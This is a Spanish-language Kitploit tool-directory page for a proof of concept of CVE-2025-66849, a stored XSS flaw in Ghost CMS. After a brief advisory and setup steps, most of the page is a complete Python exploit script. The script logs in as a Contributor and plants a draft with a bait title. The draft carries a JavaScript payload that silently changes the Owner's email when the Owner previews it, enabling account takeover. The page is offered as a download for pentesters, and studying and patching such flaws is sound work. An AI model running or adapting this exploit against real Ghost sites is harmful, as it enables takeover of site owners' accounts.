Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66849 — PoC de Escalada de Privilegios de Ghost CMS | Kitploit
Herramientas/GitHubGitHub/wojtekchwala/cve-2025-66849
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

PoC de Escalada de Privilegios de Ghost CMS

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66849

PoC de Escalada de Privilegios en Ghost CMS

Resumen

En Ghost Foundation Ghost CMS hasta la versión 6.4.0, el bloque HTML dentro del editor de borradores de publicaciones no sanitiza ni codifica correctamente el contenido proporcionado por el usuario, lo que resulta en una vulnerabilidad de cross-site scripting (XSS) almacenado. Un usuario con privilegios de Colaborador puede inyectar JavaScript arbitrario en un borrador, que se ejecuta cuando es visto por la cuenta Propietario. Esto permite al atacante realizar acciones privilegiadas en el contexto del Propietario.

Resumen de la vulnerabilidad

Gravedad: Alta

Versiones afectadas: Ghost 6.4.0 (Última versión a 20 de octubre de 2025) - Ghost CMS hasta 6.4.0

Pasos para reproducir

Para demostrar la vulnerabilidad, es necesario configurar una instancia local de Ghost CMS con dos cuentas:

  1. Cuenta Propietario: creada automáticamente durante la instalación de Ghost.

  2. Cuenta Colaborador: creada por el Propietario invitando a un nuevo usuario. Ghost envía un Magic Link al correo electrónico del Colaborador para completar la configuración de la cuenta.

Debido a que esto se realiza localmente, se debe instalar una herramienta de captura de correo electrónico como MailHog (por ejemplo, mediante Docker). Esto permite interceptar localmente el Magic Link enviado por Ghost, para que el Colaborador pueda activar su cuenta por sí mismo.

Una vez que ambas cuentas están activas, se puede usar el script de explotación (contributor.py). El script requiere las credenciales de inicio de sesión del Colaborador y la nueva dirección de correo electrónico que se asignará a la cuenta del Propietario después de una explotación exitosa.

Los parámetros del script son:

root@kitploit:~
-u / --username      Nombre de usuario del Colaborador (correo electrónico)
-p / --password      Contraseña del Colaborador
-e / --new-email     Nueva dirección de correo electrónico que se establecerá en la cuenta del Propietario
--url                URL de la instancia de Ghost (opcional)

Para ejecutar el script en la terminal, use:

root@kitploit:~
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

Cuando se ejecuta, el script crea automáticamente un nuevo borrador de publicación que contiene el payload malicioso de JavaScript dentro del bloque HTML vulnerable.

Para activar el XSS almacenado, el Propietario solo necesita previsualizar el borrador abriéndolo en el panel de administración de Ghost y haciendo clic en "Preview". El script inyectado se ejecuta en segundo plano con los privilegios del Propietario, y el Propietario no es notificado de que su dirección de correo electrónico ha sido cambiada.

root@kitploit:~
import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")

        # HTML content with placeholders
        article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""

        # Replace placeholders with actual owner data
        html_content_with_id = article_content.replace("<id>", owner_id)
        html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
        html_content_with_id = html_content_with_id.replace("<name>", owner_name)
        html_content_with_id = html_content_with_id.replace("<email>", new_email)

        print(f"\n  HTML content prepared (with Owner data injected)")
        print(f"  Target email change: {self.owner_user.get('email')} → {new_email}")

        # Create Lexical content
        lexical_content = self.create_lexical_with_html(html_content_with_id)

        # Prepare post data with Lexical
        post_data = {
            'posts': [{
                'title': title,
                'lexical': lexical_content,
                'status': 'draft',
                'authors': [author_id],
            }]
        }

        if excerpt:
            post_data['posts'][0]['excerpt'] = excerpt

        if tags:
            post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]

        # Try multiple API approaches
        attempts = [
            {'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
            {'url': f"{self.api_url}/posts/", 'data': post_data},
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                        'authors': [{'id': author_id}],
                    }]
                }
            },
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                    }]
                }
            },
        ]

        for i, attempt in enumerate(attempts, 1):
            try:
                print(f"\n  Attempt {i}: {attempt['url']}")
                response = self.session.post(attempt['url'], json=attempt['data'])

                if response.status_code == 201:
                    post = response.json()['posts'][0]
                    print(f"\n✓✓✓ Post created successfully!")
                    print(f"  Title: {post['title']}")
                    print(f"  Post ID: {post['id']}")
                    print(f"  Status: {post['status']}")

                    if 'authors' in post and post['authors']:
                        print(f"  Author: {post['authors'][0].get('name', 'Unknown')}")

                    print(f"  Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
                    print(f"\n  ⚠️  Post contains script targeting Owner: {owner_name} ({owner_slug})")
                    print(f"  ⚠️  Email change: {self.owner_user.get('email')} → {new_email}")
                    return response.json()
                else:
                    print(f"  ✗ Status {response.status_code}")
                    print(f"  Response: {response.text}")

            except Exception as e:
                print(f"  ✗ Exception: {str(e)}")

        print(f"\n✗ All attempts to create post failed.")
        return None

    def logout(self):
        """Logout from Ghost session"""
        if self.authenticated:
            try:
                logout_url = f"{self.api_url}/session/"
                self.session.delete(logout_url)
                print("\n✓ Logged out successfully")
            except:
                pass
        self.session.close()


def main():
    parser = argparse.ArgumentParser(
        description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
    )
    parser.add_argument('-u', '--username', required=True,
                       help='Ghost username (email)')
    parser.add_argument('-p', '--password', required=True,
                       help='Ghost password')
    parser.add_argument('-e', '--new-email', required=True,
                       help='New email to set for owner account')
    parser.add_argument('--url', default='http://localhost:2368',
                       help='Ghost instance URL')

    args = parser.parse_args()

    # Article details
    article_title = "Review Required: Important Update"
    article_tags = ["review"]
    article_excerpt = "Please review this update at your earliest convenience"

    # Initialize Ghost client
    ghost = GhostCMSSession(ghost_url=args.url)

    # Login
    if not ghost.login(args.username, args.password):
        return

    # Create post with malicious content
    if ghost.current_user and ghost.owner_user:
        ghost.create_post_for_review(
            title=article_title,
            new_email=args.new_email,
            tags=article_tags,
            excerpt=article_excerpt
        )

    # Logout
    ghost.logout()


if __name__ == "__main__":
    main()
Descargar herramienta